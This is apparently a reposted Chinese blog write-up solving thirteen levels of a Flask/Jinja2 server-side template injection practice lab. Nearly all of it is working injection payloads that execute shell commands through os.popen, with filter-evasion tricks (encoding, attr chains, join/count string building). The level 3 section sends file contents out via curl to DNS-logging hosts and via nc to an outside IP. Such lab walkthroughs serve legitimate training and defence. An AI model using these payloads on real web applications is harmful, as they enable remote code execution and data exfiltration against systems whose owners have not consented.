Flask SSTI靶场记录

admin 2023年10月17日08:37:17评论20 views字数 12276阅读40分55秒阅读模式

环境

  • https://www.ctfer.vip/problem/13
  • 源码:https://github.com/X3NNY/sstilabs

知识点

  • flask
  • SSTI
SSTI(Server-Side Template Injection)是一种web应用程序漏洞,发生在服务器端的模板引擎中。它允许攻击者通过在用户输入中注入恶意的模板代码来执行任意代码或获取敏感信息。
SSTI常见于使用模板引擎的web应用程序中,例如Flask、Django、Jinja2等。在这些应用程序中,模板引擎被用于将动态数据渲染到静态HTML页面中。通常,开发人员会在模板中使用占位符(变量)来代表要渲染的值,例如{{ username }}。
当应用程序没有正确过滤或限制用户输入的情况下,攻击者可以构造特殊的恶意输入,该输入会被模板引擎直接解析执行,导致模板引擎执行恶意的代码片段,而不仅仅是简单地渲染数据。
通过SSTI攻击,攻击者可以执行任意服务器端代码,包括读取/修改应用程序的数据、执行命令、访问文件系统等。这可能导致信息泄露、服务器攻击、远程代码执行等危险情况。
此环境是基于flask环境,flask是一个流行的python web框架,用于快速构建具有灵活性和可扩展性的web应用。

解题思路

整个靶场如下:

Flask SSTI靶场记录

如何确定python ssti模版注入:

  • 中间件
  • 返回信息(jinja2、flask)
  • 关键字提示

level 1

{{2*2}},output,4

Flask SSTI靶场记录
Flask SSTI靶场记录

{{config}}

Hello <Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': None, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(seconds=43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093}>

{{config.SECRET_KEY}}

jinja2的payload可以使用

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
Flask SSTI靶场记录

level 2

level2过滤了bl['{{']

Flask SSTI靶场记录

这里过滤了{{,可以使用{%%}来绕过

使用burp爆破可以利用的类

{%print(''.__class__.__base__.__subclasses__()[346].__init__.__globals__['os'].popen('ls').read())%}

Flask SSTI靶场记录

返回如下:

Flask SSTI靶场记录

level 3

no waf and blind

发送任意请求包都返回如下内容:

Flask SSTI靶场记录

盲注可采用dns外带的方式

payload如下:

{% for i in ''.__class__.__mro__[-1].__subclasses__() %}{% if i.__name__=='Popen' %}{{ i.__init__.__globals__['os'].popen('curl http://`cat flag`.pc1dd3.ceye.io').read()}}{% endif %}{% endfor %}


{{().__class__.__bases__[0].__subclasses__()[133].__init__.__globals__["popen"]("curl http://`cat flag`.1riscn.dnslog.cn").read()}}

nc监听

{% for i in ''.__class__.__mro__[-1].__subclasses__() %}{% if i.__name__=='Popen' %}{{ i.__init__.__globals__['os'].popen('cat flag|nc 192.168.91.128 4444').read()}}{% endif %}{% endfor %}

level 4

bl['[', ']']

过滤了中括号

对于索引的[]可以用pop()__getitem__()代替[];而类的可以用__getattribute__绕过

{{''.__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(81).__init__.__globals__.__getitem__('__import__')('os').popen("env").read()}}
Flask SSTI靶场记录

level 5

过滤了引号,bl[''', '"']

  • request绕过
{{().__class__.__bases__[0].__subclasses__()[81].__init__.__globals__[request.values.arg1].popen(request.values.arg2).read()}}
POST:arg1=os&arg2=cat flag

payload:

POST /level/5 HTTP/1.1Host: node5.anna.nssctf.cn:28491Content-Length: 149Accept: */*X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencodedOrigin: http://node5.anna.nssctf.cn:28491Referer: http://node5.anna.nssctf.cn:28491/level/5Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=hdt08jc4bu052a9k34e0oocqd6Connection: close
code={{().__class__.__bases__[0].__subclasses__()[261].__init__.__globals__[request.values.arg1].popen(request.values.arg2).read()}}&arg1=os&arg2=env
Flask SSTI靶场记录
  • 使用cookie
{{().__class__.__mro__[-1].__subclasses__()[258].__init__.__globals__[request.cookies.arg1].popen(request.cookies.arg2).read()}}Cookie:arg1=os;arg2=cat flag

无法返回内容

  • chr()绕过

先找出chr()函数的位置

{{().__class__.__mro__[-1].__subclasses__()[§0§].__init__.__globals__.__builtins__.chr}}
{%set chr=[].__class__.__mro__[-1].__subclasses__()[58].__init__.__globals__.__builtins__.chr%}
{%print(().__class__.__mro__[-1].__subclasses__()[258].__init__.__globals__[chr(111)%2bchr(115)].popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)).read())%}

无法返回内容

level 6

bl['_'],过滤了下划线

  • cookie绕过
?name={{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}}
cookie:a=__globals__;b=cat /flag
Flask SSTI靶场记录
  • 十六位编码绕过
{{()["x5fx5fclassx5fx5f"]["x5fx5fmrox5fx5f"][-1]["x5fx5fsubclassesx5fx5f"]()[258]["x5fx5finitx5fx5f"]["x5fx5fglobalsx5fx5f"]["os"].popen("cat flag").read()}}
  • url编码绕过

使用了lipsum这个方法直接调用os

{{lipsum|attr("u005fu005fglobalsu005fu005f")|attr("u005fu005fgetitemu005fu005f")("os")|attr("popen")("env")|attr("read")()}}
Flask SSTI靶场记录
  • base64编码
{{()|attr('X19jbGFzc19f'.decode('base64'))|attr('X19iYXNlX18='.decode('base64'))|attr('X19zdWJjbGFzc2VzX18='.decode('base64'))()|attr('X19nZXRpdGVtX18='.decode('base64'))(258)|attr('X19pbml0X18='.decode('base64'))|attr('X19nbG9iYWxzX18='.decode('base64'))|attr('X19nZXRpdGVtX18='.decode('base64'))('os')|attr('popen')('cat flag')|attr('read')()}}
  • attr()配合request
{{(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4).eval(request.cookies.x5)}} 
x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=__import__('os').popen('cat f*').read()

level 7

bl['.'],过滤了.

Flask SSTI靶场记录
  • []绕过 [x]
{{''['__class__']['__bases__']['__subclasses__']()['__getitem__'](81)['__init__']['__globals__']['__getitem__']('__import__')('os')['popen']("env")['read']()}}
  • url编码绕过 [√]
{{lipsum|attr("u005fu005fglobalsu005fu005f")|attr("u005fu005fgetitemu005fu005f")("os")|attr("popen")("env")|attr("read")()}}
Flask SSTI靶场记录

另一种方式不行 [x]

{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(258)|attr('__init__')|attr('__globals__')|attr('__getitem__')('os')|attr('popen')('env')|attr('read')()}}

level 8

bl["class", "arg", "form", "value", "data", "request", "init", "global", "open", "mro", "base", "attr"]

关键字过滤

().__class__=()["__cla"+"ss__"] //这里的点被中括号代替了
"".__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('env').read()

变换为:

{{""["__cla"+"ss__"]["__ba"+"se__"]["__subcla"+"sses__"]()[133]["__in"+"it__"]["__glo"+"bals__"]['po'+'pen']('env').read()}}
Flask SSTI靶场记录

或者使用for语句

{%for i in ""["__cla"+"ss__"]["__mr"+"o__"][1]["__subcla"+"sses__"]()%}{%if i.__name__ == "_wrap_close"%}{%print i["__in"+"it__"]["__glo"+"bals__"]["po"+"pen"]('env')["read"]()%}{%endif%}{%endfor%}

或者使用json()过滤器拼接

dict(__in=a,it__=a)|join  =__init__
{%set a=dict(__cla=a,ss__=a)|join%}{%set b=dict(__ba=a,se__=a)|join%}{%set c=dict(__subcla=a,sses__=a)|join%}{%set d=dict(__in=a,it__=a)|join%}{%set e=dict(__glo=a,bals__=a)|join%}{%set h=dict(po=a,pen=a)|join%}{%print(""[a][b][c]()[133][d][e][h]('env').read())%}
Flask SSTI靶场记录

level 9

bl['0-9'],过滤了数字

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
Flask SSTI靶场记录
{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('env').read()")}}
Flask SSTI靶场记录

level 10

set config = None

url_for.__globals__url_for.__globals__['current_app'].config

设置了config为空,利用current_app

{{url_for.__globals__['current_app'].config}}{{get_flashed_messages.__globals__['current_app'].config}}
Flask SSTI靶场记录

level 11

bl[''', '"', '+', 'request', '.', '[', ']']

过滤了单引号、双引号、加号、request、点号,中括号

利用set来定义变量,点、中括号可以用attr替代,关键词用join替代

准备一个payload:

().__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('cat flag').read()

修改后的payload如下:

{%set a=dict(__cla=a,ss__=b)|join %}  {%set b=dict(__bas=a,e__=b)|join %}  {%set c=dict(__subcla=a,sses__=b)|join %}   {%set d=dict(__ge=a,titem__=a)|join%}{%set e=dict(__in=a,it__=b)|join %} {%set f=dict(__glo=a,bals__=b)|join %} {%set g=dict(pop=a,en=b)|join %} {%set h=self|string|attr(d)(18)%}{%set flag=dict(env=abc)|join%}{%set re=dict(read=a)|join%}{{()|attr(a)|attr(b)|attr(c)()|attr(d)(133)|attr(e)|attr(f)|attr(d)(g)(flag)|attr(re)()}}
Flask SSTI靶场记录
  • 另一种解法

通过lipsum来获取下划线

Flask SSTI靶场记录

下划线的下标是18

{{(lipsum|string|list)|attr(pop)(18)}}

attr()里面要求的是字符串,直接输pop需要用引号''包围起来,但是这里又过滤了引号,所以要先构造一个pop字符串:

{% set pop=dict(pop=a)|join%}{% set xiahuaxian=(lipsum|string|list)|attr(pop)(18)%}

此时就能成功取到_,再用下划线去构造其他的类:

{% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %}{% set getitem=(xiahuaxian,xiahuaxian,dict(getitem=a)|join,xiahuaxian,xiahuaxian)|join %}

再去构造后面用到的方法:

{% set space=(lipsum|string|list)|attr(pop)(9)%}{% set os=dict(os=a)|join %}{% set popen=dict(popen=a)|join%}{% set cat=dict(cat=a)|join%}{% set cmd=(cat)|join%}{% set read=dict(read=a)|join%}

最后就是完整的利用语法:

{{(lipsum|attr(globals))|attr(getitem)(os)|attr(popen)(cmd)|attr(read)()}}

合在一起就是:

{% set pop=dict(pop=a)|join%}{% set xiahuaxian=(lipsum|string|list)|attr(pop)(18)%}{% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %}{% set getitem=(xiahuaxian,xiahuaxian,dict(getitem=a)|join,xiahuaxian,xiahuaxian)|join %}{% set space=(lipsum|string|list)|attr(pop)(9)%}{% set os=dict(os=a)|join %}{% set popen=dict(popen=a)|join%}{% set cat=dict(env=a)|join%}{% set cmd=(cat)|join%}{% set read=dict(read=a)|join%}{{(lipsum|attr(globals))|attr(getitem)(os)|attr(popen)(cmd)|attr(read)()}}
Flask SSTI靶场记录

level 12

bl['_', '.', '0-9', '\', ''', '"', '[', ']']

level 11差不多,多过滤了个数字和下划线,用count来获取数字,构造pop来获取下划线即可

().__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('cat flag').read()
{% set po=dict(po=a,p=a)|join%}{%set two=dict(aaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}{% set x=(()|select|string|list)|attr(po)(two)%}{% print(x)%}
Flask SSTI靶场记录
{% set po=dict(po=a,p=a)|join%}{%set two=dict(aaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}{% set x=(()|select|string|list)|attr(po)(two)%}{%set eighteen=dict(aaaaaaaaaaaaaaaaaa=a)|join|count%}{%set hundred=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}{% set a=(x,x,dict(class=a)|join,x,x)|join()%}  {%set b=(x,x,dict(base=a)|join,x,x)|join() %}  {%set c=(x,x,dict(subclasses=a)|join,x,x)|join() %}   {%set d=(x,x,dict(getitem=a)|join,x,x)|join()%}{%set e=(x,x,dict(init=b)|join,x,x)|join()%} {%set f=(x,x,dict(globals=b)|join,x,x)|join()%} {%set g=dict(pop=a,en=b)|join %} {%set h=self|string|attr(d)(eighteen)%} {%set flag=dict(env=abc)|join%}{%set re=dict(read=a)|join%}{{()|attr(a)|attr(b)|attr(c)()|attr(d)(hundred)|attr(e)|attr(f)|attr(d)(g)(flag)|attr(re)()}}
Flask SSTI靶场记录
  • 另一种解法
code={%set nine=dict(aaaaaaaaa=a)|join|count%}{%set eighteen=dict(aaaaaaaaaaaaaaaaaa=a)|join|count%}{% set pop=dict(pop=a)|join%}{% set xiahuaxian=(lipsum|string|list)|attr(pop)(eighteen)%}{% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %}{% set getitem=(xiahuaxian,xiahuaxian,dict(getitem=a)|join,xiahuaxian,xiahuaxian)|join %}{% set space=(lipsum|string|list)|attr(pop)(nine)%}{% set os=dict(os=a)|join %}{% set popen=dict(popen=a)|join%}{% set cat=dict(env=a)|join%}{% set cmd=(cat)|join%}{% set read=dict(read=a)|join%}{{(lipsum|attr(globals))|attr(getitem)(os)|attr(popen)(cmd)|attr(read)()}}
Flask SSTI靶场记录

level 13

bl['_', '.', '\', ''', '"', 'request', '+', 'class', 'init', 'arg', 'config', 'app', 'self', '[', ']']

过滤增添了一些关键词,其中self被ban,本来用它设置的空格,这里可以利用pop构造空格,简单修改一下之前的payload

code={% set po=dict(po=a,p=a)|join%}{%set one=dict(aaaaaaaaaaaaaaaaa=a)|join|count%}{%set two=dict(aaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}{% set x=(()|select|string|list)|attr(po)(two)%}{%set eighteen=dict(aaaaaaaaaaaaaaaaaa=a)|join|count%}{%set hundred=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}{% set a=(x,x,dict(cla=a,ss=a)|join,x,x)|join()%}  {%set b=(x,x,dict(base=a)|join,x,x)|join() %}  {%set c=(x,x,dict(subcla=a,sses=a)|join,x,x)|join() %}   {%set d=(x,x,dict(getitem=a)|join,x,x)|join()%}{%set e=(x,x,dict(ini=a,t=a)|join,x,x)|join()%} {%set f=(x,x,dict(globals=b)|join,x,x)|join()%} {%set g=dict(pop=a,en=b)|join %} {%set h=(()|select|string|list)|attr(po)(one)%}{%set flag=dict(env=abc)|join%}{%set re=dict(read=a)|join%}{{()|attr(a)|attr(b)|attr(c)()|attr(d)(hundred)|attr(e)|attr(f)|attr(d)(g)(flag)|attr(re)()}}
  • 另一种解法
{% set pop=dict(pop=a)|join%}{% set xiahuaxian=(lipsum|string|list)|attr(pop)(18)%}{% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %}{% set getitem=(xiahuaxian,xiahuaxian,dict(getitem=a)|join,xiahuaxian,xiahuaxian)|join %}{% set space=(lipsum|string|list)|attr(pop)(9)%}{% set os=dict(os=a)|join %}{% set popen=dict(popen=a)|join%}{% set cat=dict(env=a)|join%}{% set cmd=(cat)|join%}{% set read=dict(read=a)|join%}{{(lipsum|attr(globals))|attr(getitem)(os)|attr(popen)(cmd)|attr(read)()}}
Flask SSTI靶场记录

参考

https://tttang.com/archive/1698/#toc_level-8 

https://johnfrod.top/ctf/flask-ssti-lab%E6%94%BB%E7%95%A5/


原文始发于微信公众号(ListSec):Flask SSTI靶场记录

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年10月17日08:37:17
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Flask SSTI靶场记录http://cn-sec.com/archives/2118082.html

发表评论

匿名网友 填写信息